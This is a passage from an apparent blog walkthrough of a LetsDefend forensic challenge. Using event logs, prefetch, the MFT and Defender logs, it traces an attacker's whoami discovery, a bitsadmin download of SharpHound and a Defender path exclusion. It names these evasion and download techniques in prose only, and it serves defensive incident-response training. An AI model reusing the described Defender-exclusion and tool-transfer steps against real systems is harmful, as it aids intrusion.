we&amp;rsquo;ll use throughout our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;771px&#34; data-flex-grow=&#34;321&#34; height=&#34;249&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/cb2807a8c62172d54a5e5cd61740e9f5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;The first thing we need to home in on is malicious login activity. For this, we&amp;rsquo;ll use the &lt;strong&gt;Windows Security Event log&lt;/strong&gt;, which contains, among other things, the login events for the system. Within our artifacts, the logs can be located in the following directory:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Security.evtx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/89c495243ff036d6c1f1996ea3a2e217_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The location of the security event log artifact&lt;/p&gt;&#xA;&lt;p&gt;To view the logs, we have a couple of options. We can open this in &lt;em&gt;Windows Event Viewer&lt;/em&gt;, or we can use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third-party utility that speeds up event log analysis. Since &lt;em&gt;Event Log Explorer&lt;/em&gt; is already built into the LetsDefend analysis environment, I&amp;rsquo;ll be using it for this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;Next, open &lt;em&gt;Event Log Explorer&lt;/em&gt; and load the &lt;code&gt;Security.evtx&lt;/code&gt; file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.&lt;/p&gt;&#xA;&lt;p&gt;Press the filter button to focus on &lt;strong&gt;Event ID 4624&lt;/strong&gt; (&lt;em&gt;Successful Login&lt;/em&gt;). We can also search for &lt;em&gt;Text in description&lt;/em&gt; to narrow things down. A crucial detail to remember from the scenario is that the IP address &lt;code&gt;192.168.110.129&lt;/code&gt; was identified as the source of the network enumeration activity, so we&amp;rsquo;ll use that to search all of the details for records that contain that IP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/ab656c3590d0287e64a59044b299451b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering successful login events from the malicious IP&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/5da4624a666727ee6c922fb326b01304_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the first login from the malicious IP and the source port&lt;/p&gt;&#xA;&lt;p&gt;By applying this filter, we&amp;rsquo;ve quickly identified the first login from the malicious IP address — and we&amp;rsquo;ve even discovered the source port that we need to answer &lt;strong&gt;Question 2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/944c4bccc50da81ecef669fb8d8c50e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/2532ce51a0070bb8a2330767b14f51ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-once-inside-the-system-it-seems-the-attacker-immediately-began-gathering-information-what-was-the-first-command-they-executed&#34;&gt;Question 3: Once inside the system, it seems the attacker immediately began gathering information. What was the first command they executed?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to figure out the first command the attacker executed once they gained access. For this, we&amp;rsquo;ll pivot from the event logs and turn to another forensic artifact: &lt;strong&gt;Windows Prefetch files&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Rather than try to explain the value of these artifacts myself, I&amp;rsquo;ll lean on the excellent blog post from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Magnet Forensics&lt;/a&gt;. They explain:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user&amp;rsquo;s application history on a computer.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, if we can access the prefetch files, we can determine what the first command executable was run. We can locate the prefetch files in the &lt;code&gt;ChallengeFile\C\Windows\prefetch&lt;/code&gt; directory, but they aren&amp;rsquo;t much use to us as-is.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/21b17902e1b64cf6811f7bdff5759162_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The location of the prefetch file artifacts&lt;/p&gt;&#xA;&lt;p&gt;To parse the prefetch files, we&amp;rsquo;ll leverage one of the many &lt;em&gt;Eric Zimmerman tools —&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PECmd&lt;/strong&gt;&lt;/a&gt;. This utility is already loaded into the analysis environment, so we only need to launch it through PowerShell using the syntax below to specify the prefetch directory and an output directory and file. Here&amp;rsquo;s an example where &lt;em&gt;PECmd&lt;/em&gt; outputs to a file called &lt;code&gt;investigation.csv&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;.\PECmd.exe -d &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\prefetch&amp;quot; &amp;ndash;csv C:\Users\LetsDefend\Desktop\ChallengeFile &amp;ndash;csvf investigation.csv&lt;/p&gt;&#xA;&lt;p&gt;Once the file is generated, we&amp;rsquo;ll open it with another &lt;em&gt;Eric Zimmerman tool&lt;/em&gt;, &lt;strong&gt;Timeline Explorer&lt;/strong&gt;, which allows us to view and sort the output data in a structured way.&lt;/p&gt;&#xA;&lt;p&gt;Within &lt;em&gt;Timeline Explorer&lt;/em&gt;, filter the &lt;em&gt;Last Run&lt;/em&gt; column so we can start to build out a timeline. From the previous questions, we know the attacker first logged in at &lt;code&gt;2024-10-05 14:48:58&lt;/code&gt;, so we&amp;rsquo;ll focus on events right after that. With the entries sorted, let&amp;rsquo;s look at the &lt;em&gt;Executable Name&lt;/em&gt; column—and we&amp;rsquo;ll find the first discovery command run:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8c04b6e7db7bf77e047440bab9449e0d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Filtering for executables following the initial login&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;whoami.exe&lt;/code&gt; is an example of &lt;em&gt;System Owner/User Discovery&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK T1033&lt;/strong&gt;&lt;/a&gt;) used to identify the currently logged-in user on the system and check what level of access they have.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s figure out what they did next.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8a6aa8d7b8da1d9ab0f70bd5410ef64b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-during-the-attack-the-attacker-downloaded-a-malicious-file-what-is-the-exact-url-of-thefile&#34;&gt;Question 4: During the attack, the attacker downloaded a malicious file. What is the exact URL of the file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve started to gather a rough timeline of the attack in &lt;em&gt;Timeline Explorer&lt;/em&gt;, we can see other potentially interesting executables that could be abused by the attacker to download further payloads — including &lt;code&gt;bitsadmin&lt;/code&gt;, &lt;code&gt;powershell&lt;/code&gt;, and &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;549&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/b314f3c89e31fae43032cd7871c92e63_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying methods of ingress tools transfer&lt;/p&gt;&#xA;&lt;p&gt;All of these commands are important pieces of the puzzle. But most interestingly, following the use of &lt;code&gt;BITSADMIN.EXE&lt;/code&gt;, we also see evidence of another suspicious executable: &lt;code&gt;Sharphound.exe&lt;/code&gt;. &lt;strong&gt;SharpHound&lt;/strong&gt; is the ingestor for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0521/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;BloodHound&lt;/strong&gt;&lt;/a&gt;, a well-known Active Directory reconnaissance tool.&lt;/p&gt;&#xA;&lt;p&gt;This seems like a good place to start answering &lt;strong&gt;Question 4&lt;/strong&gt; and determine the full download URL of the &lt;code&gt;Sharphound.exe&lt;/code&gt; file. Since we already noted that this activity followed &lt;code&gt;BITSADMIN.EXE&lt;/code&gt;, we&amp;rsquo;ll use the &lt;strong&gt;BITS Client Operational Logs&lt;/strong&gt; to &lt;em&gt;discover&lt;/em&gt; (no pun intended) more details. These logs can be located in the directory below. Go ahead and open them in &lt;em&gt;Event Log Explorer&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Bits-Client%4Operational.evtx&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to the matching timestamp that we found in &lt;em&gt;Timeline Explorer&lt;/em&gt; to identify the URL that the tool was downloaded from.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/f9573a142b531a6f68a22944abae5756_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the URL the malicious file was downloaded from&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/80d2a118a68a276c3044b844f5d30cdf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-download-logs-indicate-when-the-malicious-file-was-brought-onto-the-system-what-time-did-the-downloadoccur&#34;&gt;Question 5: The download logs indicate when the malicious file was brought onto the system. What time did the download occur?&#xA;&lt;/h3&gt;&lt;p&gt;Unfortunately, the timestamp in the BITS logs only indicates when the BITS job was created — not when the file was actually written to the file system. So, we&amp;rsquo;ll pivot to yet another artifact: the master file table ($MFT). To explore the &lt;em&gt;MFT&lt;/em&gt;, we&amp;rsquo;ll use &lt;strong&gt;MFTExplorer&lt;/strong&gt;, the GUI version of &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;strong&gt;MFTECmd&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For some context about this artifact, let&amp;rsquo;s lean on the &lt;em&gt;Magnet Forensics&lt;/em&gt; blog again, where it&amp;rsquo;s explained:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;In the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file&amp;rsquo;s attributes, such as its name, size, timestamps, permissions, and more.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Putting this together, the idea is that by parsing the &lt;strong&gt;$MFT&lt;/strong&gt;, we can identify the creation timestamp of the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary, indicating when it was downloaded.&lt;/p&gt;&#xA;&lt;p&gt;Once you have &lt;em&gt;MFTExplorer&lt;/em&gt; open, load the &lt;code&gt;$MFT&lt;/code&gt; artifact from:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT&lt;/p&gt;&#xA;&lt;p&gt;Then, in the directory structure browser on the left, navigate to the file path we found in the BITS Client log in the last question:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\Temp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/25bbb07f5caab9309fd9919f2facac8b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFT Explorer: Identifying the creation time of the SharpHound.exe binary&lt;/p&gt;&#xA;&lt;p&gt;Here, you&amp;rsquo;ll find the record for the malicious &lt;code&gt;SharpHound.exe&lt;/code&gt; file. The &lt;strong&gt;SI_Creation On&lt;/strong&gt; column contains the timestamp of the download.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/f14b3825eeba4a0d26779b2745a98cd6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-windows-defender-detected-the-malicious-file-and-generated-an-alert-what-is-the-sha1-hash-of-thisfile&#34;&gt;Question 6: Windows Defender detected the malicious file and generated an alert. What is the SHA1 hash of this file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified how and where the malicious file was downloaded, let&amp;rsquo;s turn our attention to gathering some additional details about the file. Fortunately, the question tells us that the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary was detected by &lt;strong&gt;Windows Defender&lt;/strong&gt;, so our first stop will be to review the Defender detection logs for any more clues.&lt;/p&gt;&#xA;&lt;p&gt;Within our artifacts, we can find the &lt;strong&gt;Windows Defender Operational logs&lt;/strong&gt; here:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx&lt;/p&gt;&#xA;&lt;p&gt;Load this up in &lt;em&gt;Event Log Explorer&lt;/em&gt; and apply some filtering. This time, we&amp;rsquo;ll search for &lt;strong&gt;Event ID 1117&lt;/strong&gt; and &lt;strong&gt;1116&lt;/strong&gt;. Per the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-1116&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn documentation&lt;/a&gt;, these events correspond to:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;MALWAREPROTECTION_STATE_MALWARE_DETECTED&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;MALWAREPROTECTION_STATE_MALWARE_ACTION_TAKEN&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These should give us good coverage of detection and remediation actions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/17d464ab3cd63622580cc3c713640b83_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying malware detection events&lt;/p&gt;&#xA;&lt;p&gt;After applying the filter, we&amp;rsquo;ll find events showing the detection and quarantine actions taken on the &lt;code&gt;SharpHound.exe&lt;/code&gt; file. While helpful, these event logs don&amp;rsquo;t contain the SHA1 file hash we need to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;No problem! Let&amp;rsquo;s pivot to a second local Defender artifact — the &lt;strong&gt;&lt;em&gt;Support logs&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt; We can find these here:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\ProgramData\Microsoft\Windows Defender\Support&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;810px&#34; data-flex-grow=&#34;337&#34; height=&#34;237&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/ff6492d29e9b18c971f5a1ca13532165_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the Windows Defender support logs&lt;/p&gt;&#xA;&lt;p&gt;Inside this directory, open the &lt;code&gt;MPLog-20240813€“091114.log&lt;/code&gt; file with a text editor like &lt;em&gt;Notepad++&lt;/em&gt;. Then, simply search for the name of the file: &lt;code&gt;SharpHound.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;550&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/745b058e46c673c1cafbfdc9a6a78897_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Finding the file hash in the MPLog&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Right below the file name is the &lt;strong&gt;SHA1 hash&lt;/strong&gt; of the file. This is extremely handy if we need to pivot to external threat intelligence platforms. It&amp;rsquo;s a great example of why understanding all available logs is fundamental, since the Event Logs didn&amp;rsquo;t contain what we needed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2313px&#34; data-flex-grow=&#34;963&#34; height=&#34;83&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/95eb333d262d21d152650c12f78f125d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-to-evade-detection-the-attacker-excluded-a-specific-directory-from-the-defender-scan-what-command-did-they-use-to-doso&#34;&gt;Question 7: To evade detection, the attacker excluded a specific directory from the Defender scan. What command did they use to do so?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, so we figured out the malware got detected the first time — whoops! From the question, we know the attacker then made an exclusion for a directory, probably to use as a staging area to further avoid detection.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s jump back to the &lt;strong&gt;Windows Defender Operational logs&lt;/strong&gt; we explored in the previous question. This time, we&amp;rsquo;ll filter for &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus#event-id-5007&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event ID 5007&lt;/strong&gt;&lt;/a&gt; (&lt;em&gt;MALWAREPROTECTION_CONFIG_CHANGED&lt;/em&gt;), since any exclusion actions should be captured by this event.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8853bfb00d8b155302de047d00d38adc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Discovering a Defender exclusion configuration&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;Event Log Explorer&lt;/em&gt;, the first events at the top of the list from the date of the attack show two interesting changes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tampering with the real-time protection setting&lt;/li&gt;&#xA;&lt;li&gt;Setting a new configuration value for an exclusion path: &lt;code&gt;C:\Windows\Temp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So now we know the directory, but we still don&amp;rsquo;t know the exact command used. Why don&amp;rsquo;t we check the &lt;strong&gt;PowerShell logs&lt;/strong&gt; for evidence of command execution? These logs are in the same directory as the rest of the event logs. The only trick is that there are two PowerShell logs — we want the &lt;strong&gt;Windows PowerShell&lt;/strong&gt; log, not the operational log:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Windows PowerShell.evtx&lt;/p&gt;&#xA;&lt;p&gt;Since we already have a timestamp from the Defender logs for when the exclusion was implemented, we can correlate that with the PowerShell log. By doing that, we&amp;rsquo;ll stumble across the exact command used to set the exclusion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/d0d3199b6fe8b5604381d2e349896723_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Finding the exclusion command in the Windows Powershell logs&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/d02a86e058f22a665751516f3fa2a5ba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-attacker-executed-the-malicious-file-soon-after-downloading-it-when-exactly-did-they-first-runit&#34;&gt;Question 8: The attacker executed the malicious file soon after downloading it. When exactly did they first run it?&#xA;&lt;/h3&gt;&lt;p&gt;For this, we&amp;rsquo;ll head back to &lt;em&gt;Timeline Explorer&lt;/em&gt; and review our &lt;strong&gt;PECmd&lt;/strong&gt; output from &lt;strong&gt;Questions 3 and 4&lt;/strong&gt; (&lt;code&gt;investigation.csv&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Use the search box to look for &lt;code&gt;Sharphound.exe&lt;/code&gt;. Then, focus on the &lt;strong&gt;Last Run&lt;/strong&gt; column to get the exact timestamp of when the malware was executed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;650px&#34; data-flex-grow=&#34;271&#34; height=&#34;295&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/dd6240bf1d6e63e2549ce7d720c12d44_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the last run timestamp of the malicious file&lt;/p&gt;&#xA;&lt;p&gt;Now we have the complete picture of how the file was downloaded, when it was downloaded, when it was detected, and when it was run.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/e8b0741639008e4fab4df9588a60f61e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-after-executing-the-malicious-file-a-zip-file-was-created-on-the-system-what-is-the-full-path-of-this-zipfile&#34;&gt;Question 9: After executing the malicious file, a zip file was created on the system. What is the full path of this zip file?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re closing in on the investigation and starting to get our arms around the reconnaissance utilities being downloaded into the victim environment. To answer 